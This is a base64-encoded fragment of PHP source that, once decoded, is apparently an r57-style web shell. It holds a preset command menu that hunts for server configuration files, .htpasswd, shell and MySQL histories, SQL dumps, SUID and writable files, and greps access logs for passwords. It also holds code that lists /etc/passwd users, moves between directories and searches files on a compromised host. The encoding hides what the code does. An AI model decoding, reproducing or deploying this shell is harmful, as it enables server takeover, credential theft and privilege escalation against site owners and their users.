cicsDQondHJfdGV4dDE0MCc9PidEb1MnLA0KJ3RyX3RleHQxNDEnPT4nRGFuZ2VyISBXZWItZGFl bW9uIGNyYXNoIHBvc3NpYmxlLicsDQondHJfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGlu IGZpbGUgJywNCid0cl9lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsDQondHJfZXJy Mic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLA0KJ3RyX2VycjMnPT4nRXJyb3IhIENhblwndCBj b25uZWN0IHRvIGZ0cCcsDQondHJfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBz ZXJ2ZXInLA0KJ3RyX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsDQon dHJfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsDQondHJfZXJyNyc9PidNYWlsIHNl bmQnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS1sb2NhdGUnPT4nJywNCidsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAu dHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBodHRwZC5jb25mID4+IC90bXAvZ3JlcC50 eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyA+PiAvdG1w L2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSB2aG9zdHMuY29uZiA+PiAvdG1w L2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVz ID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIHByb2Z0cGQuY29u ZiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgcHN5Ym5jLmNv bmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgcHN5Ym5jLmNv bmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIG15LmNvbmYg ZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgbXkuY29u ZiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgYWRtaW4ucGhw IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGFkbWlu LnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgY2ZnLnBo cCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjZmcu cGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBjb25mLnBo cCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25m LnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgY29uZmln LmRhdCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBj b25maWcuZGF0ID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBj b25maWcucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9j YXRlIGNvbmZpZy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9j YXRlIGNvbmZpZy5pbmMgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9 Pidsb2NhdGUgY29uZmlnLmluYyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywN Cidsb2NhdGUgY29uZmlnLmluYy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9n cmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLmluYy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3Rt cC9ncmVwLnR4dCcsDQonbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyA+PiAvdG1wL2dy ZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgPj4g L3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIC5jb25mIGZpbGVzID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIuY29uZiIgPj4gL3Rt cC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIC5wd2QgZmlsZXMgPj4gL3Rt cC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5wd2QiID4+IC90bXAvZ3Jl cC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSAuc3FsIGZpbGVzID4+IC90bXAvZ3Jl cC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIuc3FsIiA+PiAvdG1wL2dyZXAudHh0 O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgLmh0cGFzc3dkIGZpbGVzID4+IC90bXAvZ3Jl cC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIuaHRwYXNzd2QiID4+IC90bXAvZ3Jl cC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIuYmFzaF9oaXN0b3J5 IiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2NhdGUgLm15c3FsX2hp c3RvcnkgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUg Ii5teXNxbF9oaXN0b3J5IiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCids b2NhdGUgYmFja3VwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4n bG9jYXRlIGJhY2t1cCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidsb2Nh dGUgZHVtcCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0 ZSBkdW1wID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBwcml2 IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIHByaXYg Pj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLXRhcic9PicnLA0KJ3RhciAtY3p2ZiBhbGwudGd6IC1UIC90bXAvZ3Jl cC50eHQnPT4ndGFyIC1jenZmIGFsbC50Z3ogLVQgL3RtcC9ncmVwLnR4dCcsDQonLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEnPT4nJywNCidsb2NhdGUgYWNjZXNzX2xvZyBmaWxl cyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBhY2Nlc3NfbG9n ID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBlcnJvcl9sb2cg ZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgZXJyb3Jf bG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2xvY2F0ZSBhY2Nlc3Mu bG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGFj Y2Vzcy5sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRlIGVy cm9yLmxvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0 ZSBlcnJvci5sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonbG9jYXRl ICIubG9nIiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0 ZSAiLmxvZyIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTInPT4nJywNCidjYXQgL3Zhci9sb2cvaHR0cGQvYWNj ZXNzX2xvZyB8IGdyZXAgcGFzcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+ J2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIHwgZ3JlcCBwYXNzID4+IC90bXAvZ3JlcC50 eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1maW5kJz0+JycsDQonZmlu ZCBzdWlkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAv IC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVw LnR4dCcsDQonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7 Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyAgPj4g L3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBzZ2lkIGZpbGVzID4+IC90 bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAy MDAwIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBzZ2lk IGZpbGVzIGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQn PT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQg L3RtcC9ncmVwLnR4dCcsDQonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMgPj4gL3RtcC9ncmVwLnR4 dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMgID4+IC90 bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVz IGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmlu ZCAuIC10eXBlIGYgLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAu dHh0JywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyA+PiAvdG1wL2dyZXAudHh0O2Nh dCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMgID4+IC90bXAv Z3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9y aWVzIGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4n ZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dy ZXAudHh0JywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgPj4gL3Rt cC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXBlcm0gLTIgLWxzICA+PiAv dG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJl Y3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3Rt cC9ncmVwLnR4dCc9PidmaW5kIC4gLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAv dG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMgPj4gL3RtcC9ncmVwLnR4 dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QgID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3Rv cnkgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5 cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5ICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAu dHh0JywNCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2Nh dCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5ICA+ PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGFsbCAuZmV0Y2htYWls cmMgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5 cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50 eHQnLA0KJ2ZpbmQgaHR0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dy ZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGh0dHBkLmNvbmYgPj4gL3RtcC9ncmVwLnR4 dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCB2aG9zdHMuY29uZiBmaWxlcyA+PiAvdG1wL2dy ZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHZob3N0cy5j b25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgcHJvZnRwZC5j b25mIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10 eXBlIGYgLW5hbWUgcHJvZnRwZC5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50 eHQnLA0KJ2ZpbmQgYWRtaW4ucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3Jl cC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgYWRtaW4ucGhwID4+IC90bXAvZ3JlcC50eHQ7 Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnKiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0 O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIiAgPj4g L3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjZmcucGhwIGZpbGVzID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUg Y2ZnLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmYu cGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10 eXBlIGYgLW5hbWUgY29uZi5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcs DQonZmluZCBjb25maWcuZGF0IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50 eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmRhdCA+PiAvdG1wL2dyZXAudHh0O2Nh dCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4 dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcucGhwID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnLmluYyBmaWxl cyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1u YW1lIGNvbmZpZy5pbmMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmlu ZCBjb25maWcuaW5jLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0 Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwID4+IC90bXAvZ3JlcC50eHQ7 Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzID4+IC90 bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29u ZmlnLmRlZmF1bHQucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2Zp bmQgKi5jb25mIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmlu ZCAvIC10eXBlIGYgLW5hbWUgIiouY29uZiIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVw LnR4dCcsDQonZmluZCAqLnB3ZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAu dHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqLnB3ZCIgPj4gL3RtcC9ncmVwLnR4dDtjYXQg L3RtcC9ncmVwLnR4dCcsDQonZmluZCAqLnNxbCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAv dG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqLnNxbCIgPj4gL3RtcC9ncmVw LnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAqYmFja3VwKiBmaWxlcyA+PiAvdG1wL2dy ZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqYmFja3Vw KiIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAqZHVtcCogZmls ZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAt bmFtZSAiKmR1bXAqIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCictLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PicnLA0KJ2ZpbmQgL3Zhci8gYWNjZXNz X2xvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgL3Zh ci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3NfbG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3Jl cC50eHQnLA0KJ2ZpbmQgL3Zhci8gZXJyb3JfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0 IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yX2xvZyA+PiAv dG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIC92YXIvIGFjY2Vzcy5sb2cg ZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10 eXBlIGYgLW5hbWUgYWNjZXNzLmxvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0 JywNCidmaW5kIC92YXIvIGVycm9yLmxvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1w L2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBlcnJvci5sb2cgPj4gL3RtcC9n cmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAvdmFyLyAiKi5sb2ciIGZpbGVzID4+ IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1u YW1lICIqLmxvZyIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PidscyAtbGEnDQopOw0KJHRh YmxlX3VwMSAgPSAiPHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNp emU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2 PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3 aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRy Pjx0ZCBiZ2NvbG9yPSMzMzMzMzM+IjsNCiR0YWJsZV9lbmQxID0gIjwvdGQ+PC90cj4iOw0KJGFy cm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOw0KJGxiID0g Ijxmb250IGNvbG9yPWdyZWVuPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1ncmVlbj5d PC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOw0KJHRzID0g Ijx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCiR0ZSA9ICI8 L3RhYmxlPiI7DQokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQokZmUgPSAi PC9mb3JtPiI7DQppZihpc3NldCgkX0dFVFsndXNlcnMnXSkpIA0Kew0KaWYoISR1c2Vycz1nZXRf dXNlcnMoJy9ldGMvcGFzc3dkJykpIHtlY2hvICI8Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBz aXplPS0yIGNvbG9yPXJlZD4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2ZvbnQ+PC9j ZW50ZXI+Ijt9DQplbHNlIA0Kew0KZWNobyAnPGNlbnRlcj4nOw0KZm9yZWFjaCgkdXNlcnMgYXMg JHVzZXIpIHtlY2hvICR1c2VyLiI8YnI+Ijt9DQplY2hvICc8L2NlbnRlcj4nOw0KfQ0KZWNobyAi PGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEg aHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+ IjtkaWUoKTsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHtpZihAZnVuY3Rpb25fZXhp c3RzKCdjaGRpcicpKXtAY2hkaXIoJF9QT1NUWydkaXInXSk7fWVsc2UgaWYoQGZ1bmN0aW9uX2V4 aXN0cygnY2hyb290Jykpe0BjaHJvb3QoJF9QT1NUWydkaXInXSk7fTt9DQppZiAoZW1wdHkoJF9Q T1NUWydkaXInXSkpe2lmKEBmdW5jdGlvbl9leGlzdHMoJ2NoZGlyJykpeyRkaXIgPSBAZ2V0Y3dk KCk7fTt9ZWxzZXskZGlyPSRfUE9TVFsnZGlyJ107fQ0KJHVuaXggPSAwOw0KaWYoc3RybGVuKCRk aXIpPjEgJiYkZGlyWzFdPT0iOiIpICR1bml4PTA7ZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRp cikpDQp7DQokb3MgPSBnZXRlbnYoJ09TJyk7DQppZihlbXB0eSgkb3MpKXskb3MgPSBAcGhwX3Vu YW1lKCk7fQ0KaWYoZW1wdHkoJG9zKSl7JG9zID0iLSI7JHVuaXg9MTt9DQplbHNlDQp7DQppZihA ZXJlZ2koIl53aW4iLCRvcykpIHskdW5peCA9IDA7fQ0KZWxzZSB7JHVuaXggPSAxO30NCn0NCn0N CmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmIWVtcHR5KCRfUE9TVFsnc190ZXh0J10pICYm IWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQiKQ0K ew0KZWNobyAkaGVhZDsNCmlmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJiFlbXB0eSgkX1BP U1RbJ20nXSkpIHskc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1Rb J3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pO30NCmVsc2UgeyRzciA9IG5ldyBTZWFyY2hSZXN1 bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pO30NCiRzci0+U2VhcmNoVGV4dCgw LDApOw0KJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiRmb3VuZCA9ICRzci0+R2V0TWF0 Y2hlc0NvdW50KCk7DQokdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiRyID0gIiI7DQppZigk Zm91bmQgPjApDQp7DQokciAuPSAiPFRBQkxFIHdpZHRoPTEwMCU+IjsNCmZvcmVhY2goJHJlcyBh cyAkZmlsZT0+JHYpDQp7DQokciAuPSAiPFRSPiI7DQokciAuPSAiPFREIGNvbHNwYW49Mj48Zm9u dCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KJHIgLj0gKCEkdW5peCk/c3RyX3Jl cGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQokciAuPSAiPC9iPjwvZm9udD48LyBURD4i Ow0KJHIgLj0gIjwvVFI+IjsNCmZvcmVhY2goJHYgYXMgJGE9PiRiKQ0Kew0KJHIgLj0gIjxUUj4i Ow0KJHIgLj0gIjxURCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+ Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQokciAuPSAiPFREPjxmb250IGZhY2U9VmVyZGFuYSBz aXplPS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7DQokciAuPSAiPC9UUj5cbiI7DQp9DQp9 